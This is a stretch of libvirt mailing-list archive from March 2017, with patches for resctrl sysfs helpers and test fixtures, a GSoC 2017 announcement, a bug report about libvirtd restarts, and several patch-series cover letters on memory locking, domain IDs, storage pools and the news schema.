virFileReadValueUint(path, value); + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResctrlInfoString(const char* file, + char **value) +{ + chat *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/info/%s", sysfs_resctrl_path, file) < 0) + return -1; + + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + if (virFileReadAll(path, VIR_SYSFS_VALUE_MAXLEN, value) < 0) + goto cleanup; + + ret = 0; + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResCtrInfoUint(const char *file, + unsigned int *value) +{ + char *path = NULL; + int ret = -1; + + if (virAsprintf(&path, "%s/info/%s", sysfs_resctrl_path, file) < 0) + return -1; + + ret = virFileReadValueUint(path, value); + + VIR_FREE(path); + return ret; +} diff --git a/src/util/virsysfs.h b/src/util/virsysfs.h index cd871ff..81a27c2 100644 --- a/src/util/virsysfs.h +++ b/src/util/virsysfs.h @@ -67,4 +67,19 @@ virSysfsGetNodeValueBitmap(unsigned int cpu, const char *file, virBitmapPtr *value); +int +virSysfsGetResctrlString(const char* file, + char **value); + +int +virSysfsGetResctrlUint(const char* file, + unsigned int **value); + +int +virSysfsGetResctrlInfoString(const char* file, + char **value); + +int +virSysfsGetResCtrInfoUint(const char *file, + unsigned int *value); #endif /* __VIR_SYSFS_H__*/ -- 1.9.1

2 1

[libvirt] [GSoC] Libvirt accepted as GSoC 2017 mentor organization
by Michal Privoznik 29 Mar '17

29 Mar '17

Dear all, yesterday I received great news: Libvirt has been accepted as a mentor organization for this year's Google Summer of Code [1]. That means we will have some students working on our project during the summer. Yay! If you are a student and want to participate then the best time to read the list of ideas [2] and get in touch with corresponding mentor is now. Or if you have an idea of your own that is not listed contact me and we can sort it out. The deadline for students applications is 3rd April 2017. So there is still plenty of time, but also the process at libvirt has some requirements [3] so it's unlikely to go through it in one day. The list of ideas can still be expanded, so if you guys have any idea for students either add it onto the list or let me know and I will do that. 1: https://summerofcode.withgoogle.com/organizations/5188084661485568/ 2: http://wiki.libvirt.org/page/Google_Summer_of_Code_Ideas 3: http://wiki.libvirt.org/page/Google_Summer_of_Code_FAQ Michal

1 1

[libvirt] [PATCH] test: Add fake cpu id file
by Eli Qiao 29 Mar '17

29 Mar '17

Added fake cpu cache id and resctrl file Signed-off-by: Eli Qiao <liyong.qiao(a)intel.com> --- tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id | 1 + tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id | 1 + tests/vircaps2xmldata/linux-resctrl/cpus | 1 + tests/vircaps2xmldata/linux-resctrl/info/L3/cbm_mask | 1 + tests/vircaps2xmldata/linux-resctrl/info/L3/min_cbm_bits | 1 + tests/vircaps2xmldata/linux-resctrl/info/L3/num_closids | 1 + tests/vircaps2xmldata/linux-resctrl/schemata | 1 + tests/vircaps2xmldata/linux-resctrl/tasks | 2 ++ 38 files changed, 39 insertions(+) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-resctrl/cpus create mode 100644 tests/vircaps2xmldata/linux-resctrl/info/L3/cbm_mask create mode 100644 tests/vircaps2xmldata/linux-resctrl/info/L3/min_cbm_bits create mode 100644 tests/vircaps2xmldata/linux-resctrl/info/L3/num_closids create mode 100644 tests/vircaps2xmldata/linux-resctrl/schemata create mode 100644 tests/vircaps2xmldata/linux-resctrl/tasks diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id @@ -0,0 +1 @@ +2 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id @@ -0,0 +1 @@ +3 diff --git a/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id new file mode 100644 index 0000000..573541a --- /dev/null +++ b/tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id @@ -0,0 +1 @@ +0 diff --git a/tests/vircaps2xmldata/linux-resctrl/cpus b/tests/vircaps2xmldata/linux-resctrl/cpus new file mode 100644 index 0000000..b3a79aa --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/cpus @@ -0,0 +1 @@ +ffffff,ffffffff,ffffffff diff --git a/tests/vircaps2xmldata/linux-resctrl/info/L3/cbm_mask b/tests/vircaps2xmldata/linux-resctrl/info/L3/cbm_mask new file mode 100644 index 0000000..78031da --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/info/L3/cbm_mask @@ -0,0 +1 @@ +fffff diff --git a/tests/vircaps2xmldata/linux-resctrl/info/L3/min_cbm_bits b/tests/vircaps2xmldata/linux-resctrl/info/L3/min_cbm_bits new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/info/L3/min_cbm_bits @@ -0,0 +1 @@ +1 diff --git a/tests/vircaps2xmldata/linux-resctrl/info/L3/num_closids b/tests/vircaps2xmldata/linux-resctrl/info/L3/num_closids new file mode 100644 index 0000000..b6a7d89 --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/info/L3/num_closids @@ -0,0 +1 @@ +16 diff --git a/tests/vircaps2xmldata/linux-resctrl/schemata b/tests/vircaps2xmldata/linux-resctrl/schemata new file mode 100644 index 0000000..95bf1be --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/schemata @@ -0,0 +1 @@ +L3:0=fffff;1=fffff diff --git a/tests/vircaps2xmldata/linux-resctrl/tasks b/tests/vircaps2xmldata/linux-resctrl/tasks new file mode 100644 index 0000000..1191247 --- /dev/null +++ b/tests/vircaps2xmldata/linux-resctrl/tasks @@ -0,0 +1,2 @@ +1 +2 -- 1.9.1

2 1

[libvirt] libvirt3.1.0 bug suspected: libvirtd restart, VM start/stop
by Stepan Andr 29 Mar '17

29 Mar '17

Hi all, It seems there is a bug for libvirtd which I couldn't find here <https://bugzilla.redhat.com/buglist.cgi?component=libvirt&limit=0&order=bug…> . *Here is description:* Version-Release number of selected component (if applicable): Libvirt - 3.1.0 (built from tarball) How reproducible: 100% Precondition: libvirtd running. One VM is running, other(s) are 'shut off'. Steps to Reproduce: 1. Stop libvirtd while VM#1 is running. 2. Start libvirtd (VM#1 is running). 3. Stop VM#1. Verify if VM#1 is present in the list of all VM's ('virsh list --all'). 4. Start VM#1. Verify if VM#1 is present in the list of all VM's ('virsh list --all'). 5. Go to step #3. Note: Steps may be needed to repeat two times. Recover action: restart libvirtd service (service libvirtd restart/systemctl restart libvirtd). Actual results: #3. VM#1 disappears from the list of all VM's. Expected results: #3. VM#1 should be present in the list of all VM's. -- Best regards, Stepan

2 1

[libvirt] [PATCH 0/8] Memory locking fixes
by Andrea Bolognani 28 Mar '17

28 Mar '17

A problem reported recently to the mailing list[1] uncovered some flaws in the way we deal with setting the memory locking limit for QEMU guests. This series solves those issues and adds test suite coverage to hopefully prevent more bugs from popping up in the future. [1] https://www.redhat.com/archives/libvir-list/2017-March/msg00534.html Andrea Bolognani (8): Revert "qemu: Forbid <memoryBacking><locked> without <memtune><hard_limit>" qemu: Remove qemuDomainRequiresMemLock() qemu: Fix memory locking limit calculation process: Translate "unlimited" correctly command: Introduce virCommandGetMaxMemLock() tests: Introduce virTestCompareToULL() tests: Introduce QEMU memory locking limit tests docs: Improve documentation related to memory locking docs/formatdomain.html.in | 36 +++-- src/libvirt_private.syms | 1 + src/qemu/qemu_command.c | 4 +- src/qemu/qemu_domain.c | 75 ++++----- src/qemu/qemu_domain.h | 1 - src/util/vircommand.c | 9 ++ src/util/vircommand.h | 2 + src/util/virprocess.c | 20 ++- tests/Makefile.am | 9 ++ .../qemumemlock-pc-hardlimit+hostdev.xml | 20 +++ .../qemumemlock-pc-hardlimit+locked+hostdev.xml | 23 +++ .../qemumemlock-pc-hardlimit+locked.xml | 17 ++ tests/qemumemlockdata/qemumemlock-pc-hardlimit.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pc-hostdev.xml | 17 ++ tests/qemumemlockdata/qemumemlock-pc-kvm.xml | 11 ++ .../qemumemlock-pc-locked+hostdev.xml | 20 +++ tests/qemumemlockdata/qemumemlock-pc-locked.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pc-tcg.xml | 11 ++ .../qemumemlock-pseries-hardlimit+hostdev.xml | 20 +++ ...emumemlock-pseries-hardlimit+locked+hostdev.xml | 23 +++ .../qemumemlock-pseries-hardlimit+locked.xml | 17 ++ .../qemumemlock-pseries-hardlimit.xml | 14 ++ .../qemumemlock-pseries-hostdev.xml | 17 ++ tests/qemumemlockdata/qemumemlock-pseries-kvm.xml | 11 ++ .../qemumemlock-pseries-locked+hostdev.xml | 20 +++ .../qemumemlockdata/qemumemlock-pseries-locked.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pseries-tcg.xml | 11 ++ tests/qemumemlocktest.c | 172 +++++++++++++++++++++ tests/qemuxml2argvdata/qemuxml2argv-mlock-on.xml | 3 - tests/testutils.c | 27 ++++ tests/testutils.h | 2 + 31 files changed, 583 insertions(+), 72 deletions(-) create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-kvm.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-tcg.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-kvm.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-tcg.xml create mode 100644 tests/qemumemlocktest.c -- 2.7.4

3 33

[libvirt] [PATCH 0/2] Slightly rework domain ID handling
by Michal Privoznik 28 Mar '17

28 Mar '17

The first patch fixes an actual bug: our virConnectGetAllDomainStats API does not fill out the domain ID, therefore users just see domain name and UUID. And while fixing it I realized, that our virGetDomain function can do better. However, given that we are in the freeze, I'd like to push just the first patch and save the second for after the release as it touches a lot of places and thus has a great potential o breaking things. Although, in my testing it actually fixed some other places that we forgot to set domain ID. Michal Privoznik (2): qemuDomainGetStats: Copy domain ID too virGetDomain: Set domain ID too daemon/remote.c | 5 +---- src/bhyve/bhyve_driver.c | 20 +++++------------- src/conf/domain_event.c | 11 +++++----- src/conf/virdomainobjlist.c | 10 +++------ src/datatypes.c | 8 ++++++-- src/datatypes.h | 3 ++- src/esx/esx_driver.c | 49 ++++++++++++++------------------------------- src/hyperv/hyperv_wmi.c | 15 +++++--------- src/libxl/libxl_driver.c | 20 +++++------------- src/libxl/libxl_migration.c | 2 +- src/lxc/lxc_driver.c | 20 +++++------------- src/openvz/openvz_driver.c | 24 ++++++---------------- src/phyp/phyp_driver.c | 12 +++-------- src/qemu/qemu_driver.c | 23 ++++++++------------- src/qemu/qemu_migration.c | 4 ++-- src/remote/remote_driver.c | 5 +---- src/test/test_driver.c | 20 +++++------------- src/uml/uml_driver.c | 15 +++++--------- src/vbox/vbox_common.c | 44 +++++++++++++++------------------------- src/vmware/vmware_driver.c | 20 +++++------------- src/vz/vz_driver.c | 22 ++++++-------------- src/xen/xen_driver.c | 28 ++++++-------------------- src/xenapi/xenapi_driver.c | 30 +++++++++++---------------- 23 files changed, 129 insertions(+), 281 deletions(-) -- 2.10.2

2 4

[libvirt] [PATCH 0/4] news: Add schema validation and tweak few details
by Peter Krempa 28 Mar '17

28 Mar '17

The file caused quite some trouble. Add schema validation so that breakage is kept to a minimum. Peter Krempa (4): tests: schema: Add possibility to validate individual files news: Introduce rules for the schema file and fix offending lines schema: Introduce schema for the news.xml file news: Add template for a <release> section docs/news.xml | 64 +++++++++++++++++++++++++++++++++++--------- docs/schemas/news.rng | 73 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/virschematest.c | 36 ++++++++++++++++++++----- 3 files changed, 153 insertions(+), 20 deletions(-) create mode 100644 docs/schemas/news.rng -- 2.12.1

3 9

[libvirt] [PATCH 0/2] conf: do not steal pointers from the pool source
by Ján Tomko 28 Mar '17

28 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1436400 Ján Tomko (2): schema: do not require name for certain pool types conf: do not steal pointers from the pool source docs/schemas/storagepool.rng | 27 +++++++++++++++++----- src/conf/storage_conf.c | 5 ++-- tests/storagepoolxml2xmlin/pool-logical-noname.xml | 18 +++++++++++++++ .../storagepoolxml2xmlout/pool-logical-noname.xml | 19 +++++++++++++++ tests/storagepoolxml2xmltest.c | 1 + 5 files changed, 62 insertions(+), 8 deletions(-) create mode 100644 tests/storagepoolxml2xmlin/pool-logical-noname.xml create mode 100644 tests/storagepoolxml2xmlout/pool-logical-noname.xml -- 2.10.2

2 4

[libvirt] [PATCH] storage: Fix build on i686
by Jiri Denemark 28 Mar '17

28 Mar '17

off_t is signed and it's size is the same as long only on 64b archs. Thus it cannot be formatted as %lu. Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- src/storage/storage_backend_logical.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/storage/storage_backend_logical.c b/src/storage/storage_backend_logical.c index 9ca6fd43b..d87aaf0b6 100644 --- a/src/storage/storage_backend_logical.c +++ b/src/storage/storage_backend_logical.c @@ -116,9 +116,9 @@ virStorageBackendLogicalInitializeDevice(const char *path) if (size < 4 * PV_BLANK_SECTOR_SIZE) { virReportError(VIR_ERR_OPERATION_UNSUPPORTED, - _("cannot initialize '%s' detected size='%lu' less " + _("cannot initialize '%s' detected size='%zd' less " "than minimum required='%d"), - path, size, 4 * PV_BLANK_SECTOR_SIZE); + path, (ssize_t) size, 4 * PV_BLANK_SECTOR_SIZE); goto cleanup; } if ((size = lseek(fd, 0, SEEK_SET)) == (off_t)-1) { -- 2.12.2

2 1

[libvirt] [PATCHv2 0/2] Restore logical pool functionality
by Ján Tomko 28 Mar '17

28 Mar '17

John Ferlan (1): storage: Better describe logical pool creation/definition parameters Ján Tomko (1): Revert "storage: Better describe logical pool creation/definition parameters" src/conf/storage_conf.c | 8 -------- tools/virsh.pod | 7 +++---- 2 files changed, 3 insertions(+), 12 deletions(-) -- 2.10.2

2 3

[libvirt] [PATCH] news: Fix typo in element name
by Jiri Denemark 28 Mar '17

28 Mar '17

